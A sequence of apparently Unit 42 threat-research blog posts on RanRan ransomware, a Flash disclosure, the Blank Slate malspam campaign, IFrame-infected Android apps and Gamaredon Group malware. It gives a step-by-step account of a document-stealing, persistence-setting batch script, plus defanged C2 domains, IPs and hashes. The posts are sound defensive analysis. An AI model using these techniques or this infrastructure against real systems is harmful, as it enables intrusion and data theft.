As mentioned originally, RanRan makes a number of mistakes when encryption occurs. For one, they use a symmetric cipher (RC4) with a re-used key. Additionally, some files are encrypted, but the originals are not deleted. This is due to a number of reasons, one of which being that encryption is attempted against system files and other files that are opened by running processes. Because we are provided with a situation where we have an original file, a file that has been encrypted, and the RC4 key is re-used against other encrypted files, we have the ability to decrypt some of this data.

This only works in certain instances where the following criteria is met:

  • An encrypted and unencrypted file must be present for a given file size group (0-5MB, 5-30MB, etc). Using these two files, we are able to acquire the RC4 stream cipher.
  • The remaining encrypted files must be of lesser size than the previously obtained stream cipher. If a file is of greater size, it is only able to be partially decrypted.

Two scripts that may be used to decrypt files that meet the conditions above can be found here. The scripts have been provided in both their raw Python form, as well as Windows binaries that have been compiled with PyInstaller.

Upon investigation of the encryption, it was found that RanRan uses the following code to perform its encryption functionality:

https://github.com/eugenekolo/Charlie-2/blob/master/Hookcrypt/test/EncryptFile.cpp

The reuse of publicly available source code and a mistakes previously outlined suggests this is a rather unsophisticated threat actor.

Conclusion

Overall, RanRan represents an interesting shift in tactics by ransomware. Instead of being purely financially motivated, this specific actor takes a hacktivist approach by attempting to force a Middle Eastern government organization to make a negative public statement against their leader.

The malware itself was found to be unsophisticated, using both a symmetric cipher, as well as publicly available code. Other indicators, such as debug statements found within the malware also provide further evidence to compound this statement.

Palo Alto Networks customers are protected against this threat in the following ways:

  • WildFire accurately identifies all RanRan samples as malicious
  • An AutoFocus tag may be used to track this threat

 

Palo Alto Networks Unit 42 Vulnerability Research February 2017 Disclosures

Posted on by Unit 42

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered two code execution vulnerabilities affecting Adobe Flash (APSB17-04) that were addressed in Adobe’s monthly security update release:

  1. CVE-2017-2982: Tao Yan
  2. CVE-2017-2996: Tao Yan

For current customers with a Threat Prevention subscription, Palo Alto Networks has also released IPS signatures providing proactive protection from these vulnerabilities. Traps, Palo Alto Networks advanced endpoint solution, can block memory corruption based exploits of this nature.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

"Blank Slate" Campaign Takes Advantage of Hosting Providers to Spread Ransomware

Posted on by Brad Duncan

In recent months, we've been tracking a malicious spam (malspam) campaign using emails with no message content and an attached zip archive to spread ransomware. We've nicknamed this campaign "Blank Slate" because the malspam messages are blank with nothing to explain the malicious attachments.

Last month, we published a blog  that discussed farming Microsoft Word documents in AutoFocus associated with the Blank Slate campaign. It revealed more than 500 domains were used. These malicious domains were quickly taken offline, but Blank Slate actors quickly registered new ones, revealing a cycle of abuse towards legitimate hosting providers.

Today's blog describes the delivery, exploitation, and installation components of this attacker’s playbook, and it explores the cycle of abuse criminals follow against legitimate hosting providers to host ransomware associated with these infections.

The infection chain

The infrastructure behind the Blank Slate campaign has two distinct phases. The first phase is receiving malspam from a botnet. The second phase is when an attachment from the malspam retrieves ransomware from a web server. The ransomware is designed to infect Microsoft Windows computers, and a successful infection chain consists of the following steps:

  • Attacker's botnet sends malspam to the intended recipient.
  • User ignores security warnings and opens the zip archive included in the malspam.
  • User ignores security warnings and manually extracts either a Microsoft Word document or a JavaScript (.js) file.
  • User ignores warnings and manually enables macros for the Word document or user double-clicks the .js file.
  • Word macro or .js file retrieves a ransomware executable from a web server.
  • Word macro or .js file executes the ransomware on the user's computer in the user's security context.

blank-slate_1

Figure 1: The user receives an email from a host in the botnet.

These Blank Slate emails come from a botnet consisting of numerous compromised hosts across the globe. Sending email addresses are always spoofed, and they have no relation to the actual botnet host sending the message.  The emails only consist of a zip archive sent as a file attachment.  As shown in Figure 2, these email messages have no text whatsoever, only an attachment that intended victims are meant to open.

blank-slate_2

Figure 2: One of the malspam email messages.

The malspam's zip attachment is actually a double-zipped file, meaning it contains another zip archive which itself holds the malicious active content. We believe the attackers chose to use a double-zip tactic as a countermeasure against antispam/antimalware technologies. With an additional layer of user interaction, some intended victims may become frustrated or distracted, and this might lead to an increased failure/abandon rate. However, we believe the attackers decided this was less of a risk than detection by antispam/antimalware technologies.

That second zip archive contains either a Microsoft Word document with a malicious macro as shown in Figure 3, or it contains a .js file as shown in Figure 4.

blank-slate_3

Figure 3: Example of a malspam attachment with a double-zipped Word document.

blank-slate_4

Figure 4 Example of a malspam attachment with a double-zipped .js file.

The Word document macro has malicious Visual Basic for Applications (VBA) script that will execute after the user has opened the document and enabled macros. The .js file has malicious JavaScript that will execute within Windows Script Host when it is double-clicked.  In both cases, once the malicious script executes, it launches a PowerShell process to download and run ransomware on the Windows host as shown in Figure 5.

blank-slate_5

Figure 5: Communications between malicious script and server hosting ransomware.

Figure 6 shows an example of the traffic between a malicious .js file and a server hosting the Cerber ransomware.

blank-slate_6

Figure 6: Traffic from February 2nd 2017 of a .js file retrieving Cerber.

We primarily see Cerber ransomware distributed by the Blank Slate campaign, but other forms of ransomware like Sage 2.0 and Locky have also been noted.

The Blank Slate campaign has followed consistent patterns, and we've confirmed matching activity in AutoFocus as early as July 5th 2016 as shown in Figure 7.

blank-slate_7

 

Figure 7: Using AutoFocus to find Word documents from the Blank Slate campaign.

These results indicate at least seven months of obvious malspam, which raises the question: if the malspam is obvious, why is the Blank Slate campaign so long-lived?

Abusing hosting providers

A key factor to Blank Slate's longevity the abuse of hosting providers. Our previous post on this campaign listed 555 domains associated with this campaign over the span of seven months. These domains were active for a few days before they were taken off line. Then the criminals behind Blank Slate moved to newly-registered domains, sometimes using the same hosting provider. This cycle has repeated itself over and over since July 2016.

To examine more closely, we reviewed a five-day period from January 29th to February 2nd 2017. During that timeframe, we found at least eight domains across seven IP addresses hosting Cerber ransomware. The following list shows each domain followed by its IP address.

  • adibas[.]top - 46.173.219.161
  • footarepu[.]top - 35.165.86.173
  • guntergoner[.]top - 35.163.101.72
  • guntergoner[.]top - 185.159.130.89
  • ibm-technoligi[.]top - 35.165.251.24
  • ibm-technoligi[.]top - 62.109.29.26
  • polkiuj[.]top - 35.165.251.241
  • polkiuj[.]top - 46.173.219.161
  • suzemodels[.]top - 35.163.101.72
  • astrovoerta[.]top - 185.159.130.89
  • zofelaseo[.]top - 35.163.101.72

These domain names were registered a day or two before they were active. They remained active for up to seven days or more, depending on how quickly the hosting providers were notified.

So how do Blank Slate and other campaigns continue abusing hosting providers?

The requirements for establishing an account at a hosting provider are easy to acquire. The criminals only require a valid email, phone number, and credit card.

Most of these requirements are easy to obtain. Various free email services easily provide anyone a valid email address. Criminals can also purchase pre-paid phones without a contract (known as "burner phones") that are hard to track. And finally, criminals often use stolen credit card data when establishing these accounts.

blank-slate_8

Figure 8: Requirements for an account at a hosting provider.

Criminal accounts on hosting providers are relatively short-lived, since the domains are quickly discovered and reported to the provider's abuse department. However, these domains can stay online for a week or more before an abuse complaint is resolved. When a server is taken off-line, the criminals can easily establish another server through a new account using a different email, phone number, and stolen credit card data.

The cost is relatively inexpensive. A new email account can be established for free. Burner phones are cheap, as low as 20 to 30 dollars in the US. In the Russian underground, prices for a set of stolen credit card credentials are as low as five US dollars.

The situation lends itself to a cycle of abuse as criminals establish new servers, those servers are reported, the hosting provider shuts them down, and the criminals establish new servers.

blank-slate_9

Figure 9: The cycle of hosting provider abuse.

Conclusion

As implied by the cycle of abuse, domains and IP addresses associated with the Blank Slate campaign are constantly changing. With the current popularity of ransomware, we continue to see malspam daily in both targeted attacks and wide-scale distribution. We expect this trend will continue.

Palo Alto Networks customers are protected against this threat through our next-generation security platform. WildFire continues to identify Microsoft Office documents using these techniques as malicious. Finally, AutoFocus users can identify associated malware by using the PowerShellCaretObfuscation and CerberSage_Distribution tags.

 

Google Play Apps Infected with Malicious IFrames

Posted on by Xiao Zhang

Recently, we have discovered 132 Android apps on Google Play infected with tiny hidden IFrames that link to malicious domains in their local HTML pages, with the most popular one having more than 10,000 installs alone. Our investigation indicates that the developers of these infected apps are not to blame, but are more likely victims themselves. We believe it is most likely that the app developers’ development platforms were infected with malware that searches for HTML pages and injects malicious content at the end of the HTML pages it finds. If this is this case, this is another situation where mobile malware originated from infected development platforms without developers’ awareness. We have reported our findings to Google Security Team and all infected apps have been removed from Google Play.

google-play_1

Figure 1: A subset of all infected samples on Google Play

The infected apps that we observed included apps for design ideas ranging from cheesecake, to gardening and coffee tables, as shown in Figure 1. What all the apps have in common is that they employ Android WebView to display static HTML pages. At the first glance, each page does nothing more than loading locally stored pictures and show hard-coded text.  However, a deep analysis of the actual HTML code reveals a tiny hidden IFrame that links to well-known malicious domains. Although the linked domains were down at the time of investigation, the fact that so many apps on Google Play are infected is notable.

What is more notable is that, one of the infected pages also attempts to download and install a malicious Microsoft Windows executable file at the time of page loading, but as the device is not running Windows, it will not execute. This behavior fits well in the Non-Android Threat category recently released by the Google Android Security. According to the classification, Non-Android Threat refers to apps that are unable to cause harm to the user or Android device, but contains components that are potentially harmful to other platforms.

How the Infection Works

All infected apps currently only require the INTERNET permission and are equipped with two activities, one is to load interstitial advertisements and the other one is to load the main app. The latter one instantiates an Android WebView component and displays a local HTML page (Figure 2). The WebView component has JavaScriptInterface enabled. This functionality isn’t used by the samples we’ve examined, but this enables loaded JavaScript code to access the app’s native functionality.

google-play_2

Figure 2: An example of the infected sample’s UI and its underlying code

Each HTML page only displays pictures and text. However, at the end of each HTML page, a tiny hidden IFrame component has been added. We have observed two techniques used to hide this IFrame. One is to make the IFrame tiny by setting its height and width to be 1pixel. The other one is to set the display attribute in the IFrame specification to None. Finally, to evade detection based on simple string matching, the source URLs are obfuscated using HTML number codes.  In the examples shown in Figure 3, browser automatically performs the following conversions:

 

  • ‘.’ → ‘.’
  • ‘i’ → ‘i’
  • ‘u’ → ‘u’

google-play_3

Figure 3: Two techniques observed in infected samples to hide the IFrame region

Eventually, all IFrame sources converge to two domains:

  • www[.]Brenz[.]pl/rc/
  • jL[.]chura[.]pl/rc/

The Polish CERT (cert.pl) took over both of these domains in 2013 and directed them to their sinkhole server to prevent them from harming users (Figure 4). Given that, both domains are not hosting malware at the time of our investigation, but they have a notorious history[1,2,3,4,5].

google-play_4

Figure 4: Both malicious domains current resolve to a sinkhole server.

During our investigation, we also identified a sample that didn’t contain an infected IFrame, but an entire VBScript was injected into the HTML (Figure 5). The script contained a Base64 encoded Windows executable that (on a Windows system) the script would decode, write to the file system, and execute. Since VBScript is a proprietary Microsoft Windows scripting language, the script is inert and does not execute on the Android platform: this piece of code will not cause damage to Android users. First of all, the code is appended outside the <HTML> tag, which makes it an illegal HTML page. But browsers have always attempted to render pretty much anything, whether it is malformed or not, in order not to make creating HTML pages difficult for people who might not understand the standard completely.

WildFire detects several malicious behaviors within the dropped PE file, including:

  • modify the network hosts file
  • modify windows firewall settings
  • inject code into another process
  • copy itself

google-play_5

Figure 5: Infected sample attempts to drop a window executable file

The Origin of the Infection

The 132 infected apps we discovered belong to seven different, unrelated developers. There is a geographical connection among the seven different developers: all seven have connections to Indonesia. The most straightforward clue comes from the app name. A significant number of discovered samples have the word “Indonesia” in their names. Moreover, one developer’s website links to a personal blog page written in Indonesian. The clearest pointer, though, is one developer’s certificate clearly states the state to be Indonesia.

google-play_6

Figure 6: Infected samples’ connection to Indonesia

One common way HTML files have been infected with malicious IFrames has been through file infecting viruses like Ramnit. After infecting a Windows host, these viruses search the hard drive for HTML files and append IFrames to each document. If a developer was infected with one of these viruses, their app’s HTML files could be infected. However, given that the developers may all be Indonesia, it’s also possible they may have downloaded an infected IDE from the same hosting website or they used the same infected online app generation platform.

In either case, we believe the developers are not malicious and are victims in this attack. There are a few other pieces of supporting evidences from our investigation:

  • All samples share similarities in their coding structure, suggesting that they may be generated from the same platform;
  • Both malicious domains used resolve to sinkholes. If developers were the attacks behind all these, they could have replaced them with working domains to cause real damage;
  • One infected sample attempts to download windows executable file. It suggests that, the attacker does not know about the target platform. Clearly, this is not the case for app developers.

Potential Damages and Mitigation

Currently, infected apps will not cause damage to Android users. However, this does represent a novel way for platforms to be a “carrier” for malware: not be infected themselves but spread the malware to other platforms without realizing it. Similar to the XcodeGhost attack we identified in 2015, this threat shows how attacking developers can impact end-users.

It’s easy to envision a more focused and successful attack: an attacker could easily replace the current malicious domains with advertising URLs to generate revenue. This not only steals revenue from app developers, but also can damages the developers’ reputation. Secondly, aggressive attackers could place malicious scripts on the remote server and utilize the JavaScriptInterface to access the infected apps’ native functionality. Through this vector, all resources within the app would be available to the attackers and under their control. They could also operate silently to replace the developer’s designated server with their own, and as a result, whatever information that was sent to developer’s server now falls in hands of the attacker. Advanced attackers can also directly modify the app’s internal logic, i.e., adding rooting utility, declaring additional permissions, or dropping malicious APK file, to escalate their capabilities.

WildFire customers are automatically protected against all infected samples. The APK analysis engine inside WildFire is capable of not only identifying the tiny hidden IFrame, but also correlating with the embedded domains.

Acknowledgements

We would like to thank Zhi Xu and Claud Xiao from Palo Alto Networks for their assistance and comments during the investigation. We greatly appreciate the expedited response from Google Security Team to help verify and take actions on the infected apps.

Appendix

Malicious domains:

  • www[.]Brenz[.]pl/rc/
  • jL[.]chura[.]pl/rc/

Infected samples’ hashes and package names (additional samples are available upon request through the blog comments):

  • c6e27882060463c287d1a184f8bc0e3201d5d58719ef13d9ab4a22a89400cf61, com.aaronbalderapps.awesome3dstreetart
  • a49ac5a97a7bac7d437eed9edcf52a72212673a6c8dc7621be22c332a1a41268, com.aaronbalderapps.awesomecheesecakeideas
  • 1d5878dce6d39d59d36645e806278396505348bddf602a8e3b1f74b0ce2bfbe8, com.aaronbalderapps.babyroomdesignideas
  • db95c87da09bdedb13430f28983b98038f190bfc0cb40f4076d8ee1c2d14dae6, com.aaronbalderapps.backyardwoodprojects
  • 28b16258244a23c82eff82ab0950578ebeb3a4947497b61e3b073b0f5f5e40ed, com.aaronbalderapps.bathroominteriordesigns
  • b330de625777726fc1d70bbd5667e4ce6eae124bde00b50577d6539bca9d4ae5, com.aaronbalderapps.beautifulbotanicalgardens
  • d6289fa1384fab121e730b1dce671f404950e4f930d636ae66ded0d8eb751678, com.aaronbalderapps.bedroomdesign5d

The Gamaredon Group Toolset Evolution

Posted on by Anthony Kasza

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013.

In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities:

  • A mechanism for downloading and executing additional payloads of their choice
  • The ability to scan system drives for specific file types
  • The ability to capture screenshots
  • The ability to remotely execute commands on the system in the user’s security context

The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware.

Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware’s heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.

Previously, LookingGlass reported on a campaign they named "Operation Armageddon," targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we’ve named them the Gamaredon Group, an anagram of “Armageddon”. At this time, it is unknown if the new payloads this group is distributing is a continuation of Operation Armageddon or a new campaign.

Gamaredon: Historical Tool Analysis

The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX.

Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called tool Remote Manipulator System (Figure 1) which they would abuse for malicious purposes.

gamaredon_1

Figure 1 Remote Manipulator System Interface

One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.  The password (reused by many of the password protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe”. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.

Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.

Three examples of this type of payload include:

  • a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
  • b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
  • 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b

We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects. The text of one such decoy document is pictured below.

gamaredon_2

Figure 2 Ukrainian Decoy Document used by Gamaredon Group

Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC exectuables would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install at hxxp://prestigeclub.frantov.com[.]ua/press-center/press/chrome-xvnc-v5517.exe.

The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.

One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available:

The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc”. This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка”. Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).

Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This application was written by a Ukrainian programmer and is used to check performance of USB flash drives. Its value to the attackers to the attackers isn’t clear but one possibility is that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn’t have VNC programs included.

Custom Implants

While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant.

In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll”. This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.

In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as “Pteranodon.” Pteranodon is a custom backdoor which is capable of the following tasks:

  • Capturing screenshots at a configurable interval and uploading them to the attacker
  • Downloading and executing additional files
  • Executing arbitrary commands on the system

The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to “msrestore[.]ru/post.php” using a static multipart boundary:

------------870978B0uNd4Ry_$

Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A.

We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com[.]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.

A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is "AdapterTroubleshooter.exe" and the file uses icons which resemble those used by OpenVPN, as seen below.

gamaredon_3

Upon examining the sample's file activity within AutoFocus it is clear the sample is a self-extracting executable.

gamaredon_4

Figure 3 Self Extracting executable behavior shown in AutoFocus

Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile timestamps and the pdb paths of the contents of the SFX file.

SHA256 Filename Compile Time PDB Path
400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 LocalSMS.dll Wed Apr 29 08:10:30 2015 c:\users\viber\documents\visual studio 2013\projects\contextmenu\release\contextmenu.pdb
d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 MpClients.dll Thu Sep 08 05:01:00 2016 c:\users\user\documents\visual studio 2015\projects\updaterv1\release\updaterv1.pdb
f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 OfficeUpdate.dll Wed Dec 07 09:25:57 2016 -
2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 SmartArtGraphicsLog.lnk - -
46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d UsrClass.lnk - -
a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b condirs.cmd - -
37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac winrestore.dll Mon Jan 09 03:12:39 2017 c:\develop\ready\winrestore - proxy\release\winrestore.pdb
90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd wmphost.exe Thu Dec 01 08:23:32 2016 c:\develop\ready\mouse-move\mouse-move\release\mouse-move.pdb

The bootstrapping logic for the sample relies on the contents of "condirs.cmd". Briefly, the logic within "condirs.cmd" follows:

1. Ensure "%LOCALAPPDATA%\Microsoft\Windows\" exists
2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing
3. Copy "winrestore.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll"
4. Copy "OfficeUpdate.dll" to "%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll"
5. Determine if the operating system is Windows XP or Windows 7
6. If the system is running Windows XP

a. Set the directory to copy files into as "%WINDIR%\Setup\State\Office"
b. Copy "UsrClass.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"
c. Copy "SmartArtGraphicsLog.lnk" to "%USERPROFILE%\Главное меню\Программы\Автозагрузка\"

7. If the system is running Windows 7

a. Set the directory to copy files into as "%APPDATA%\Microsoft\Office"
b. Copy "UsrClass.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
c. Copy "SmartArtGraphicsLog.lnk" to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

gamaredon_6

Figure 4 Windows XP and Windows 7 logic within "condirs.cmd"

8. Copy "winrestore.dll" to the directory set in step 6 or 7a with the filename "MSO1234.win"

9. copy "LocalSMS.dll" to the directory set in step 6 or 7a with the filename "MSO1567.dls"

10. copy "OfficeUpdate.dll" to the directory set in step 6 or 7a with the filename "MSO5678.usb"

11. copy "MpClients.dll" to the directory set in step 6 or 7a with the filename "MSO8734.obn"

12. Execute the exported function "updater" within "MSO1234.win" using rundll32.exe

13. Execute the exported function "EntryPoint" within "MSO1567.dls" using rundll32.exe

It should be noted that "UsrClass.lnk" links to "%WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater" and "SmartArtGraphicsLog.lnk" links to "C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup". These are the locations "winrestore.dll" and "OfficeUpdate.dll" were copied to in steps 3 and 4, respectively.

The "condirs.cmd" script then continues to:

1. Schedule the following tasks:

a. Task name "UpdatesWinRes", invoke "MSO1234.win,updater"
b. Task name "UpdatesWinDLL", invoke "MSO1567.dls,EntryPoint"
c. Task name "UpdatesWinUSBOOK", invoke "MSO5678.usb,StartBackup"
d. Task name "UpdatesWinOBN", invoke "MSO8734.obn,bitDefender"

2. Ensure the directory "%Temp%\reports\ProfileSkype\" exists

3. Kill processes named "skype.exe"

4. Copy the contents of "%AppData%\Skype" to "%Temp%\reports\ProfileSkype\"

5. Create subdirectories under "%Temp%\reports\%COMPUTERNAME\" with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.

6. Copy all files from all above drive letters with extensions "doc", "docx",  "xls",  "xlsx", "rtf" "odt" and "txt" into "%TEMP%\reports\%COMPUTERNAME%\%%d\" where %%d is the drive letter

7. Copy all files with the above extensions from all users' "Desktop", "Documents", and "Downloads" folders to "%TEMP%\reports\%COMPUTERNAME%\Desktop\", "%TEMP%\reports\%COMPUTERNAME%\Documents\" and "%TEMP%\reports\%COMPUTERNAME%\Downloads\" respectively

gamaredon_7

Figure 5 The document stealing logic inside "condirs.cmd"

8. Execute the exported function "StartBackup" within "MSO5678.usb" using rundll32.exe

9. Execute the exported function "bitDefender" within "MSO8734.obn" using rundll32.exe

10. Clean up temporary files, sleep, and delete itself

When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system. These individual implants are analyzed in detail in Appendix A.

Trends Across Implants

While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples include:

  • Many of the batch scripts include misspellings of common English words. One such example is the filename "cmd". While another example, "domen", is used as a variable name in a batch script which is likely meant to be "domain"
  • Almost all batch scripts in all samples ping localhost as a means of sleeping
  • Many of the batch scripts are named "cmd" and some include the string "Trons_ups" and "Treams"
  • Many of the batch scripts use the same commands for determining operating system version.
  • Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest sample
  • Samples employing VNC used the same configuration and passwords

Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also, many of the custom developed tools use hardcoded network locations.

Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX implants within AutoFocus additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below.

gamaredon_8

Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent.

gamaredon_9

Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group

Final Word

The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed.

Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples' artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns.

This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag GamaredonGroup.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire identifies the malware described in this report as malicious.
  • Traps prevents execution of the malware described in this report.
  • The C2 domains used by this group are blocked through Threat Prevention.

Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.

Appendix A: Custom Implant Analyses

USBStealer: MSO5678.usb / OfficeUpdate.dll

This file is a USB file stealer which can be also guessed by its internal name "USBgrabber.dll". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected.

The malware creates two mutexes "__Wsnusb73__" and "__Wsnusbtt73__". Then, it creates the following folder in the temp path of the local user:

"C:\Users\<Username>\AppData\Local\Temp\reports"

This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server "195.62.52.93" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive:

The malware also creates a SQLite database named "asha.dat" in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database.

gamaredon_10

Figure 7 Structure of the database created by the malware

It should be noted, that only hashes of files are added to the database that don't have the following extensions:

  • DLL
  • BIN
  • CAB
  • EXE
  • ISO

Downloader: MSO1567.dls / LocalSMS.dll

This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in C++ and contains all of the functionality is in an export function named "EntryPoint". The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string.

